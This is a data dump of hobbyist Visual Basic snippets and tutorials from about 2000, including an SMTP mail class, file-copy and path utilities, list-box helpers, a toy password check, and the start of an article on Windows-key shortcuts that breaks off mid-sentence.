more.</li>\n</ul>\n<h3><a name=\"bingo\">Exercises</a></h3>\nYou can only learn something if you actually practice doing it. So here I\nhave some features which you can add to the program yourself. Come on, be a\nlittle creative and start making your own 3D graphics!\n<ul>\n <li>That triangle is boring! It's even looks 2D! Use more vertices to make\n another shape - a cube, a pyramid, a sphere if you're smart enough -\n whatever you like!</li>\n <li>Make a frame counter, so that you know how fast the program is running. I\n bet it goes at over 100 FPS!</li>\n <li>Change the colors to something you like.</li>\n <li>Explore more Direct3D functions, meddle with the code, make it your\n program. I don't want here any complaints that this tutorial was boring -\n it's up to you to make it interesting!</li>\n</ul>\nI hope I've set you along the exciting journey towards creating Direct3D\ngraphics from Visual Basic. This tutorial has taken me ALOT of time and\neffort - I had to write code, make comments, write a tutorial, get it as\naccurate as possible. I would appreciate in return:\n<ul>\n <li>Please vote for me - Whether you think this tutorial was\n good or bad, I want to know about it.</li>\n <li>Please give me some feedback - Tell me why you voted the\n score that you did.</li>\n <li>Please visit my website - If you liked this then you'll want\n to visit my website to see more of my programs and tutorials. The URL is <a href=\"http://www.VBgames.co.uk\">www.VBgames.co.uk</a>\n </li>\n <li>Please give me $30000 to write a book - OK only joking.</li>\n</ul>\nTutorial by Simon Price, you can email me at <a href=\"mailto:Si@VBgames.co.uk\">Si@VBgames.co.uk</a>\n\n<a href=\"#lesson\">Back To Top</a>\n"},{"WorldId":1,"id":12454,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12455,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12456,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12461,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12462,"LineNumber":1,"line":"Private Sub Command1_Click()\n Dim fName As String\n fName = Dir(\"c:\\tempo\\*.doc\") ' Retrieve the first entry.\n Do While fName <> \"\" ' Start the loop.\n If GetAttr(\"c:\\tempo\\\" & fName) <> vbDirectory Then 'only files\n FileCopy \"c:\\tempo\\\" & fname, \"c:\\tempx\\\" & fName 'copies the file\n 'Kill \"c:\\tempo\\\" & fname 'deletes the original - optional\n End If \n fName = Dir ' Get next entry.\n Loop\nEnd Sub"},{"WorldId":1,"id":12469,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12473,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12476,"LineNumber":1,"line":"Function C() As String\n Const Consonants = \"bcdfghijklmnpqrstvwxz\"\n Randomize\n C = Mid(Consonants, Int(Rnd * 21) + 1, 1)\nEnd Function\nFunction V() As String\n Const Vowels = \"aeiouy\"\n Randomize\n V = Mid(Vowels, Int(Rnd * 6) + 1, 1)\nEnd Function\n'Now lets create few random names in the debug window.\n'Write there: print C & V & C & V & C\n'And run this line a few times. Here are the results I got:\n'bapai\n'zymam\n'luler\n'zaio\n'I am sure that you would find to these two functions 1001 uses.\n\n"},{"WorldId":1,"id":12477,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12479,"LineNumber":1,"line":"' this just shells out to Run a windows file\n' That windows uses to Shut the Computer down......\nShell \"Rundll32 shell32.dll,SHExitWindowsEx 2\", vbHide"},{"WorldId":1,"id":12483,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12485,"LineNumber":1,"line":"Private Sub Command1_Click()\nPageLocation$ = Text1.Text\nShellX = Shell(\"explorer.exe \" + PageLocation$)\nEnd Sub"},{"WorldId":1,"id":12487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12490,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12492,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12493,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12494,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12495,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12500,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12505,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12506,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12507,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12509,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12510,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12511,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12514,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12515,"LineNumber":1,"line":"'\n'\n'\n' BEGIN CODE==========================\n' BEGIN REQUIRED SUB IN FORM: --------\n'\nPrivate Sub HerbSock_DataArrival(Index As Integer, ByVal bytesTotal As Long)\nHerbSock(Index).GetData indata(Index), vbString\nEnd Sub\n'\n' END REQUIRED SUB IN FORM ------------\n'\n' BEGIN modHerbSMTP.bas ---------------\nPublic indata() As String\nPrivate CF2VBTemp As String\nPublic Function ListGetAt(List2Get As String, ListPosition As Integer, Optional Delim As String = \",\") As String\n' This is part of a ColdFusion - to - VB function Module I have made that may be\n' posted to Planet Source Code Soon...\n'\n' Takes a String like \"First,Second,Third\" and:\n' Takes #ListPosition from that list (ie - ListPosition=2, ListGetAt=\"Second\")\n' You can Optionally change the delimiter from comma to something else\nListPosition = Abs(ListPosition)\nIf ListLen(List2Get, Delim) < ListPosition Then ListGetAt = \"\": Exit Function\nIf ListPosition = 1 Then If InStr(List2Get, Delim) < 1 Then ListGetAt = List2Get: Exit Function Else ListGetAt = Left(List2Get, InStr(List2Get, Delim) - 1): Exit Function\nCF2VBTemp = List2Get\nCF2VBTemp = Replace(CF2VBTemp, Delim, \"\", 1, ListPosition - 2, vbBinaryCompare)\nIf InStr(1, CF2VBTemp, Delim, vbBinaryCompare) + Len(Delim) = Len(CF2VBTemp) Then ListGetAt = \"\": Exit Function\nCF2VBTemp = Mid(CF2VBTemp, InStr(1, CF2VBTemp, Delim, vbBinaryCompare) + Len(Delim))\nIf InStr(1, CF2VBTemp, Delim, vbBinaryCompare) < 1 Then ListGetAt = CF2VBTemp: Exit Function\nListGetAt = Left(CF2VBTemp, InStr(1, CF2VBTemp, Delim, vbBinaryCompare) - 1)\nEnd Function\nPublic Function ListLen(List2Meas As String, Optional Delim As String = \",\") As Integer\n' Takes a String like \"First,Second,Third\" and returns ListLen=3\n' You can Optionally change the delimiter from comma to something else\nIf List2Meas = \"\" Then ListLen = 0: Exit Function\nListLen = 1\nCF2VBTemp = List2Meas\nWhile InStr(CF2VBTemp, Delim)\n ListLen = ListLen + 1\n CF2VBTemp = Replace(CF2VBTemp, Delim, \"\", 1, 1, vbBinaryCompare)\nWend\nEnd Function\n'\n' END modHerbSMTP.bas -----------------\n'\n' BEGIN clsHerbSMTP.cls ---------------\n' @Home SMTP, a watered down simplified and commented version of\n' the control that WAS going to be part of a mailing list manager.\n'\n' (c) 2000 Herbert L. Riede\n'\n' Standard open-source rules. Any improvements you make\n' must be sent to webmaster@7-10.com. Any improvements I make\n' will also be re-posted. You may post your version(s) of this code\n' to free code sites as long as credit is made and this header is left intact.\n'\n' Adapted from code by: Brian Anderson, Planet Source Code Winner for\n' 'Simple Mail Testing Program'\n' http://www.planet-source-code.com/xq/ASP/txtCodeId.841/lngWId.1/qx/vb/scripts/ShowCode.htm\n'\n' You must have a WinSock Control with index 0 and named HerbSock\n' MyForm can be set by:\n' Public WithEvents Herb As HerbSMTP ' <- place in the 'Declarations' Area\n'Place into Form_Load:\n' Set Herb = New HerbSMTP\n' Herb.Attach Me\n' Herb.server = \"mail.mia.bellsouth.net\"\n'\n' NOTE: If you exceed the 'maxthreads', it will set the .busy property to True\n'\n'Who said I don't have an ego calling all of them Herb? :)\nPrivate arrive As String, statusset As String, busyset As Boolean, jd As Integer, je As Integer\nPublic ThisSocket As Long\nPrivate MyForm As Form\nPrivate MaxThread As Integer, SMTPHost As String\n' This event is called every time the status changes\nPublic Event statuschange()\n'\nPublic Sub Attach(InForm As Form)\nSet MyForm = InForm\nEnd Sub\n'Public response As String\nPublic Sub cleardata(sock As Integer)\n' Clear response Variable\nindata(sock) = \"\"\ngarbage = response(sock)\nEnd Sub\nPublic Property Let MaxThreads(MT As Integer)\n' This should not really be called threads.. The suggested maximum is 5.\n' How many objects should I handle at a time?\nMaxThread = MT\nEnd Property\nPublic Property Get MaxThreads() As Integer\nMaxThreads = MaxThread\nEnd Property\nPublic Property Get response(sock As Integer) As String\nIf indata(sock) = \"\" Then response = \"\" Else response = indata(sock)\nEnd Property\nPublic Property Let Server(smtpserver As String)\nSMTPHost = smtpserver\nEnd Property\nPublic Sub SendEmail(FromName As String, FromEmailAddress As String, ToName As String, ToEmailAddress As String, EmailSubject As String, EmailBodyOfMessage As String)\nDim WSIdx As Integer, Secnd As String\nWSIdx = GetAvailableWinSock\nConnectSock (MyForm.HerbSock(WSIdx).object)\nprocesstmr = Timer\n'Quick multi-reciepient hack\nIf ListLen(ToEmailAddress) > 1 Then\n For jd = 1 To ListLen(ToEmailAddress)\n Secnd = Secnd + \"rcpt to:\" + Chr(32) + ListGetAt(ToEmailAddress, jd) + vbCrLf\n Fifth = Fifth + \"To:\" + Chr(32) + ListGetAt(ToName, jd) + \" <\" + ListGetAt(ToEmailAddress, jd) + \">\" + vbCrLf\n Next jd\nElse\n Secnd = \"rcpt to:\" + Chr(32) + ToEmailAddress + vbCrLf ' Get who mail is going to\n Fifth = \"To:\" + Chr(32) + ToName + \" <\" + ToEmailAddress + \">\" + vbCrLf ' Who it going to\nEnd If\nDateNow = Format(Date, \"Ddd\") & \", \" & Format(Date, \"dd Mmm YYYY\") & \" \" & Format(Time, \"hh:mm:ss\") & \"\" & \" -0600\"\n First = \"mail from:\" + Chr(32) + FromEmailAddress + vbCrLf ' Get who's sending E-Mail address\n Third = \"Date:\" + Chr(32) + DateNow + vbCrLf ' Date when being sent\n Fourth = \"From:\" + Chr(32) + FromName + \" <\" + FromEmailAddress + \">\" + vbCrLf ' Who's Sending\n Sixth = \"Subject:\" + Chr(32) + EmailSubject + vbCrLf ' Subject of E-Mail\n Seventh = EmailBodyOfMessage + vbCrLf ' E-mail message body\n Ninth = \"X-Mailer: LogMerge Reporter v 1.x\" + vbCrLf ' What program sent the e-mail, customize this\n Eighth = Fourth + Third + Ninth + Fifth + Sixth ' Combine For proper SMTP sending\n MyForm.HerbSock(WSIdx).Protocol = sckTCPProtocol ' Set protocol For sending\n progressset = 0.1\n statusset = \"Connecting....\": RaiseEvent statuschange\n While MyForm.HerbSock(WSIdx).State <> 7\n DoEvents\n If MyForm.HerbSock(WSIdx).State = 9 Then abort\n Wend\n Call WaitFor(\"220\", WSIdx)\n MyForm.HerbSock(WSIdx).SendData (\"HELO windough.com\" + vbCrLf)\n progressset = 0.2\n Call WaitFor(\"250\", WSIdx)\n statusset = \"Connected\": RaiseEvent statuschange\n MyForm.HerbSock(WSIdx).SendData (First)\n statusset = \"Sending Message\": RaiseEvent statuschange\n progressset = 0.3\n Call WaitFor(\"250\", WSIdx)\nFor jd = 1 To ListLen(ToEmailAddress)\n MyForm.HerbSock(WSIdx).SendData ListGetAt(Secnd, jd, vbCrLf) & vbCrLf\n progressset = 0.4\n Call WaitFor(\"250\", WSIdx)\nNext jd\n MyForm.HerbSock(WSIdx).SendData \"DATA\" + vbCrLf\n progressset = 0.5\n Call WaitFor(\"354\", WSIdx)\n MyForm.HerbSock(WSIdx).SendData (Eighth + vbCrLf)\n MyForm.HerbSock(WSIdx).SendData (Seventh + vbCrLf)\n MyForm.HerbSock(WSIdx).SendData (vbCrLf + \".\" + vbCrLf)\n progressset = 0.7\n Call WaitFor(\"250\", WSIdx)\n MyForm.HerbSock(WSIdx).SendData (\"quit\" + vbCrLf)\n progressset = 0.8\n \n statusset = \"Disconnecting:\" + Str(Timer - processtmr) + \" seconds.\": RaiseEvent statuschange\n MyForm.HerbSock(WSIdx).Close\n busyset = False\n statusset = False\n 'Call WaitFor(\"221\")\nEnd Sub\nPrivate Sub ConnectSock(ws As Integer)\nRandomize Timer\nMyForm.HerbSock(ws).RemoteHost = SMTPHost\nMyForm.HerbSock(ws).LocalPort = 0\n'MyForm.HerbSock(ws).LocalPort = Int(Rnd * 1000)\nMyForm.HerbSock(ws).RemotePort = 25\nOn Error GoTo tryagain\nMyForm.HerbSock(ws).Connect\n'MyForm.HerbSock(ws).Connect Me.server, 25 ', , Int(Rnd * 1000)\nwaitforconnect:\nDoEvents\nIf MyForm.HerbSock(ws).State = sckConnecting Then GoTo waitforconnect\nExit Sub\ntryagain:\nDoEvents\nws = GetAvailableWinSock\nIf busyset Then Exit Sub\nMyForm.HerbSock(ws).Close\n'MyForm.HerbSock(ws).LocalPort = Int(Rnd * 1000)\nResume\nEnd Sub\nPrivate Function GetAvailableWinSock() As Integer\nDim jd As Integer, je As Integer\nje = 0\nFor jd = 0 To MyForm.HerbSock.UBound\n If MyForm.HerbSock(jd).State = sckClosed Then je = jd\nNext jd\nIf je = 0 Then\n If MyForm.HerbSock.UBound = MaxThreads Then\n busyset = True\n Else\n Load MyForm.HerbSock(MyForm.HerbSock.UBound + 1)\n ReDim Preserve indata(MyForm.HerbSock.UBound + 1)\n je = MyForm.HerbSock.UBound\n End If\nEnd If\nGetAvailableWinSock = je\nEnd Function\nPublic Sub SendMultiPartEmail(FromName As String, FromEmailAddress As String, ToName As String, ToEmailAddress As String, EmailSubject As String, EmailBodyOfMessage As String, HTMLBodyofMessage As String)\nDim WSIdx As Integer\nWSIdx = GetAvailableWinSock\nDim Secnd As String\nRandString = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_\"\nConnectSock (WSIdx)\nprocesstmr = Timer\nDim uniquey As Integer, GlobalUnique As String\nFor jd = 1 To 24\nuniquey = Int(Rnd * Len(RandString)) + 1\nGlobalUnique = GlobalUnique + Mid(RandString, uniquey, 1)\nNext jd\n'Quick multi-reciepient hack\nIf ListLen(ToEmailAddress) > 1 Then\n For jd = 1 To ListLen(ToEmailAddress)\n Secnd = Secnd + \"RCPT to:\" + Chr(32) + ListGetAt(ToEmailAddress, jd) + vbCrLf\n Fifth = Fifth + \"To:\" + Chr(32) + ListGetAt(ToName, jd) + \" <\" + ListGetAt(ToEmailAddress, jd) + \">\" + vbCrLf\n Next jd\nElse\n Secnd = \"rcpt to:\" + Chr(32) + ToEmailAddress + vbCrLf ' Get who mail is going to\n Fifth = \"To:\" + Chr(32) + ToName + \" <\" + ToEmailAddress + \">\" + vbCrLf ' Who it going to\nEnd If\n DateNow = Format(Date, \"Ddd\") & \", \" & Format(Date, \"dd Mmm YYYY\") & \" \" & Format(Time, \"hh:mm:ss\") & \"\" & \" -0600\"\n First = \"mail from:\" + Chr(32) + FromEmailAddress + vbCrLf ' Get who's sending E-Mail address\n Third = \"Date:\" + Chr(32) + DateNow + vbCrLf ' Date when being sent\n Fourth = \"From:\" + Chr(32) + FromName + \" <\" + FromEmailAddress + \">\" + vbCrLf ' Who's Sending\n Sixth = \"Subject:\" + Chr(32) + EmailSubject + vbCrLf ' Subject of E-Mail\n Seventh = EmailBodyOfMessage + vbCrLf ' E-mail message body\n Ninth = \"X-Mailer: HerbMail v 1.x\" + vbCrLf ' What program sent the e-mail, customize this\n 'MULTI-PART Edit\n \n Seventh = \"------=_NextPart_\" + GlobalUnique + vbCrLf + \"Content-type: text/plain; charset=US-ASCII\" + vbCrLf + vbCrLf + Seventh\n Seventh = Seventh + \"------=_NextPart_\" + GlobalUnique + vbCrLf + \"Content-type: text/HTML\" + vbCrLf + vbCrLf + HTMLBodyofMessage + vbCrLf + vbCrLf\n Seventh = Seventh + \"------=_NextPart_\" + GlobalUnique + \"--\" + vbCrLf\n Sixth = Sixth + \"MIME-Version: 1.0\" + vbCrLf + \"Content-Type: multipart/alternative; \" + vbCrLf + Chr(9) + \"boundary=\"\"----=_NextPart_\" + GlobalUnique + \"\"\"\" + vbCrLf + vbCrLf + \"This mail is in MIME format. Your mail interface does not appear to support this format.\" + vbCrLf + vbCrLf\n Eighth = Fourth + Ninth + Fifth + Sixth ' Combine For proper SMTP sending\n \n progressset = 0.1\n statusset = \"Connecting....\": RaiseEvent statuschange\n While MyForm.HerbSock(WSIdx).State <> sckConnected\n statusset = \"Connecting....\" & MyForm.HerbSock(WSIdx).State: RaiseEvent statuschange\n DoEvents\n If MyForm.HerbSock(WSIdx).State = sckClosed Then ConnectSock (WSIdx)\n Wend\n Call WaitFor(\"220\", WSIdx)\n MyForm.HerbSock(WSIdx).SendData \"HELO windough.com\" + vbCrLf\n progressset = 0.2\n Call WaitFor(\"250\", WSIdx)\n statusset = \"Connected\": RaiseEvent statuschange\n MyForm.HerbSock(WSIdx).SendData First\n statusset = \"Sending Message\": RaiseEvent statuschange\n progressset = 0.3\n Call WaitFor(\"250\", WSIdx)\nFor jd = 1 To ListLen(ToEmailAddress)\n MyForm.HerbSock(WSIdx).SendData ListGetAt(Secnd, jd, vbCrLf) & vbCrLf\n progressset = 0.4\n Call WaitFor(\"250\", WSIdx)\nNext jd\n MyForm.HerbSock(WSIdx).SendData \"DATA\" + vbCrLf\n progressset = 0.5\n Call WaitFor(\"354\", WSIdx)\n MyForm.HerbSock(WSIdx).SendData Eighth + vbCrLf\n MyForm.HerbSock(WSIdx).SendData Seventh + vbCrLf + vbCrLf\n MyForm.HerbSock(WSIdx).SendData vbCrLf + \".\" + vbCrLf\n progressset = 0.7\n Call WaitFor(\"250\", WSIdx)\n MyForm.HerbSock(WSIdx).SendData \"quit\" + vbCrLf\n progressset = 0.8\n statusset = \"Disconnecting:\" + Str(Timer - processtmr) + \" seconds.\": RaiseEvent statuschange\n MyForm.HerbSock(WSIdx).Close\n busyset = False\n statusset = False\nEnd Sub\nPublic Property Get status() As String\nstatus = statusset\nEnd Property\nPublic Property Get busy() As Boolean\nbusy = busyset\nEnd Property\n\nPrivate Sub WaitFor(ResponseCode As String, WSIdx As Integer)\n Start = Timer ' Time Event so won't Get stuck In Loop\nindata(WSIdx) = \"\"\nMultiRecipWait:\nWhile indata(WSIdx) = \"\"\nDoEvents\n Tmr = Timer - Start\n If Tmr > 10 Then\n MsgBox \"SMTP time-out, please check your connection and settings\"\n \n Exit Sub\n End If\nWend\n If indata(WSIdx) = \"ABORT_VBVB\" Then Exit Sub\n If (Left(response(WSIdx), 3) <> ResponseCode) And ResponseCode <> \"220\" Then\n MsgBox \"SMTP service error, impromper response code. Code should have been: \" + ResponseCode + \" Code recieved: \" + response(WSIdx), 64, MsgTitle\n Else\n If (Left(response(WSIdx), 3) <> ResponseCode) Then GoTo MultiRecipWait\n End If\n cleardata (WSIdx) ' Sent response code To blank **IMPORTANT**\n End Sub\nPublic Sub abort()\nMyForm.HerbSock(WSIdx).Close\nindata(WSIdx) = \"ABORT_VBVB\"\nstatusset = \"Error Occured/Aborted\": RaiseEvent statuschange\nEnd Sub\nPrivate Sub UserControl_Initialize()\nMaxThread = 5\nbusyset = False\nEnd Sub\nPrivate Sub Class_Initialize()\nMaxThread = 5\nbusyset = False\nEnd Sub\n"},{"WorldId":1,"id":12521,"LineNumber":1,"line":"Dim Pw1 As String\nDim Pw2 As String\nPw1 = \"password1\"\nPw2 = \"password2\"\nIf Text1 = Pw1 Then\nMsgBox \"you entered the correct password\"\nElse\nIf Text1 = Pw2 Then\nMsgBox \"you entered the correct password\"\nElse\nMsgBox \"wrong password, please try again\"\nEnd If\nEnd If"},{"WorldId":1,"id":12526,"LineNumber":1,"line":"Private Sub Command1_Click()\nText1.Text = Replace(Text1.Text, Text2.Text, Text3.Text, 1, , vbTextCompare)\n'here's how it works:\n ' where text1.text is , thats the source of what ur looking in, ex: a label or text box\n ' where text2.text is , that's what u are looking for\n ' where text3.text is , thats what u want to replace what u find with\n ' leave everything else alone after that\n \n \nText2.Text = \"Find What?\"\nText3.Text = \"Replace With What?\"\nEnd Sub\nPrivate Sub Form_Load()\nText2.Text = \"Find What?\"\nText3.Text = \"Replace With What?\"\nText1.Text = \"Type Text in Here\"\nEnd Sub\n"},{"WorldId":1,"id":12529,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12542,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12543,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12546,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12551,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12552,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12554,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12557,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12560,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12564,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12566,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12569,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12570,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12571,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12574,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12578,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12588,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12589,"LineNumber":1,"line":"Public Function GetRelativePath(sBase As String, sFile As String)\n'------------------------------------------------------------\n' Accepts : sBase= Fully Qualified Path of the Base Directory\n' sFile= Fully Qualified Path of the File of which\n' the relative path is to be computed.\n' Returns : Relative Path of sFile with respect to sBase.\n' Modifies: Nothing.\n'------------------------------------------------------------\n' Author : Manas Tungare (www.manastungare.com)\n'------------------------------------------------------------\nDim Base() As String, File() As String\nDim I As Integer, NewTreeStart As Long, sRel As String\n If Left(sBase, 3) <> Left(sFile, 3) Then\n 'Since the files lie on different drives, the relative\n 'filename is same as the Absolute Filename\n GetRelativePath = sFile\n Exit Function\n End If\n \n Base = Split(sBase, \"\\\")\n File = Split(sFile, \"\\\")\n \n While Base(I) = File(I)\n I = I + 1\n Wend\n \n If I = UBound(Base) Then\n 'Then the Base Path is over, and the file lies\n 'in a subdirectory of the base directory.\n 'So simply append the rest of the path.\n While I <= UBound(File)\n sRel = sRel + File(I) + \"\\\"\n I = I + 1\n Wend\n 'Now remove the extra trailing \"\\\" we put earlier.\n GetRelativePath = Left(sRel, Len(sRel) - 1)\n Exit Function\n End If\n \n NewTreeStart = I\n 'The base path is not yet over, and we need to step\n 'back using the \"..\\\"\n While I < UBound(Base)\n sRel = sRel & \"..\\\"\n I = I + 1\n Wend\n \n While NewTreeStart <= UBound(File)\n sRel = sRel & File(NewTreeStart) + \"\\\"\n NewTreeStart = NewTreeStart + 1\n Wend\n 'Now remove the extra trailing \"\\\" we put earlier.\n GetRelativePath = Left(sRel, Len(sRel) - 1)\n \nEnd Function"},{"WorldId":1,"id":12595,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12601,"LineNumber":1,"line":"Option Explicit\n'-----------------\n' Mod Name FieldProcessing\n' Author: W. Matos\n' Date: November 07, 2000\n' Description: This module provides a series of commands that acts upon\n' a set of list boxes (you can change the code to act upon both\n' list boxes and combo boxes by declaring the objects as\n' 'object' and not ListBox)\n' This module lets you:\n' 1) Add a field from a source object to a destination object\n' 2) Add all fields from a source object to a destination object\n' 3) Remove a field from a source object to a destination object\n' 4) Move a field up in the object.\n' 5) Move a field down in the object.\n'\n'\n' Comment: I understand the simplicity of this set of procedures. However,\n' I had never taken the time to actually create this. Since creating\n' this module, creating the forms has been greatly simplified.\n'\n'\n' Use: Here is a sample set of code on how to use:\n'\n' To add a field\n'Private Sub cmdAddSummaryField_Click()\n' AddField Me.lstAvailFlds, Me.lstSummaryFields\n'End Sub\n'\n' To Move a field down\n'Private Sub cmdMoveDownSummary_Click()\n' MoveFldDown lstSummaryFields\n'End Sub\n'\n' To move field up:\n'Private Sub cmdMoveUpSummary_Click()\n' MoveFldUp lstSummaryFields\n'End Sub\n'\n' to Remove a field\n'Private Sub cmdRemoveSummary_Click()\n' RemoveField lstSummaryFields\n'End Sub\n'\n' To add all fields:\n' Private Sub cmdRemoveAllSummary_Click()\n' AddAllFields lstAvailFlds, lstSummaryFields\n' End Sub\n'\n' To remove all fields:\n' Just call lstsummaryfields.clear\n'--------------------------\nPublic Sub AddAllFields(lstSource As Object, lstDest As Object)\n Dim x As Integer\n lstDest.Clear\n For x = 0 To lstSource.ListCount - 1\n lstDest.AddItem lstSource.List(x)\n Next x\nEnd Sub\nPublic Sub AddField(Src As Object, Dest As Object)\n Dim x As Integer\n If Src.ListIndex < 0 Then Exit Sub\n If Src.SelCount > 1 Then\n For x = 0 To Src.ListCount - 1\n If Src.Selected(x) Then Dest.AddItem Src.List(x)\n Next x\n Else\n Dest.AddItem Src.List(Src.ListIndex)\n End If\nEnd Sub\nPublic Sub RemoveField(Src As Object)\n Dim x As Integer\n If Src.ListIndex < 0 Then Exit Sub\n If Src.ListCount < 1 Then Exit Sub\n If Src.SelCount > 1 Then\nrestart:\n For x = 0 To Src.ListCount - 1\n If Src.Selected(x) Then\n Src.RemoveItem x\n GoTo restart\n End If\n Next x\n Else\n \n Src.RemoveItem Src.ListIndex\n End If\nEnd Sub\nPublic Sub MoveFldUp(lb As Object)\n Dim tmpField As String\n Dim i As Integer\n i = lb.ListIndex\n If lb.ListCount < 1 Then Exit Sub\n If i > 0 And i < lb.ListCount Then\n tmpField = lb.List(i - 1)\n lb.List(i - 1) = lb.List(i)\n lb.List(i) = tmpField\n lb.ListIndex = i - 1\n lb.Selected(i - 1) = True\n lb.Selected(i) = False\n End If\nEnd Sub\nPublic Sub MoveFldDown(lb As Object)\n Dim tmpField As String\n Dim i As Integer\n i = lb.ListIndex\n If lb.ListCount < 1 Then Exit Sub\n If i > -1 And i < lb.ListCount - 1 Then\n tmpField = lb.List(i + 1)\n lb.List(i + 1) = lb.List(i)\n lb.List(i) = tmpField\n lb.ListIndex = i + 1\n lb.Selected(i + 1) = True\n lb.Selected(i) = False\n End If\nEnd Sub\n\n"},{"WorldId":1,"id":12602,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12608,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12612,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12614,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12621,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12622,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":12623,"LineNumber":1,"line":"Hello, and thanks for viewing my first article! \nI'm hoping this will be useful to two different types of people;\n<ol>\n<li>Those who are just getting started with the API. For those of you who aren't that familiar with using the API, I'm going to try and explain everything I did to get the information. Although I have the MSDN library on my development PC, I'll try and add links to MSDN online where appropriate.</li>\n<li>People who just want to leech code for their libraries and get their projects done. :) If you're one of these people, you can download the zip and be done with it. It's commented pretty well, so I think you'll be fine.</li>\n</ol>\n \nIf you've got one of those Windows 95 keyboards, you've probably come across the Windows Key, which is the one that looks like the little Windows logo (they're on either side of the space bar in most cases, just next to the ALT key). \nAlthough there's not much documentation for these keys, they can be quite useful. I know I've kicked myself for trying to bring up Windows Explorer in Linux a few times (D'OH!) :)\n \nFor those of you who don't know any of the groovy shortcuts, here's a few to get you started. Play with these for a minute before you keep reading.\n <table align=\"center\">\n<tr>\n<td>WINDOWSKEY + R</td>\n<td>Same as clicking START->RUN</td>\n</tr>\n<tr>\n<td>WINDOWSKEY + F</td>\n<td>Same as clicking START->FIND->Files or Folders</td>\n</tr>\n<tr>\n<td>WINDOWSKEY + E</td>\n<td>Same as clicking START->PROGRAMS->Windows Explorer</td>\n</tr>\n</table> \nPretty cool, huh? \n(Insert game show host voice here) \nBut wait! There's more! \n<table align=\"center\">\n<tr>\n<td>WINDOWSKEY + M</td>\n<td>Will minimize all the open windows</td>\n</tr>\n<tr>\n<td>SHIFT + WINDOWSKEY + M</td>\n<td>Will undo the 'Minimize all Windows' action</td>\n</tr>\n</table> \nOne quick caveat to these two: It doesn't technically do ALL the windows. Only the ones which can be minimized. For example, if you click START->RUN to bring up that dialog, and then try and minimize all the windows, that window will stay on the screen.\n \nHere's my personal favorite, and the favorite of anyone who has to help people over the phone with their computer.\n \n<table>\n<tr>\n<td>WINDOWSKEY+Break </td>\n<td>Will bring up the 'System Properties' dialog box</td>\n</tr>\n</table> \nI love this one! \n(But enough about me. Let's get our hands dirty!)\n ABOUT THE CODE\n What we're going to do is create a bunch of keystrokes in code. \nI found an API call in the <a href=\"http://msdn.microsoft.com/library/default.asp\" target=\"new\">MSDN library</a> that lets you synthesize keystrokes. \nIt's called <a href=\"http://msdn.microsoft.com/library/psdk/winui/keybinpt_854k.htm\" target=\"new\">keybd_event</a>. This little piece of code is found in the user32.dll file which gets installed on your system when you put Windows 95, 98, ME, NT or 2000 on.\n \nIf you want to follow along, do the following.\n <ol>\n<li>Open up an instance of VB if you haven't already, and just choose a 'Standard EXE'. Go to the code for that window, so that we can start typing.</li>\n<li>Load the API Text viewer from either the Start Menu or as an Add-in in Visual Basic (it doesn't matter which way).</li>\n<li>In the API Text Viewer, make sure the API Type combobox is set to 'Declares'.</li>\n<li>In the textbox titled 'type the first few letters...' enter keybd. as you type, you'll 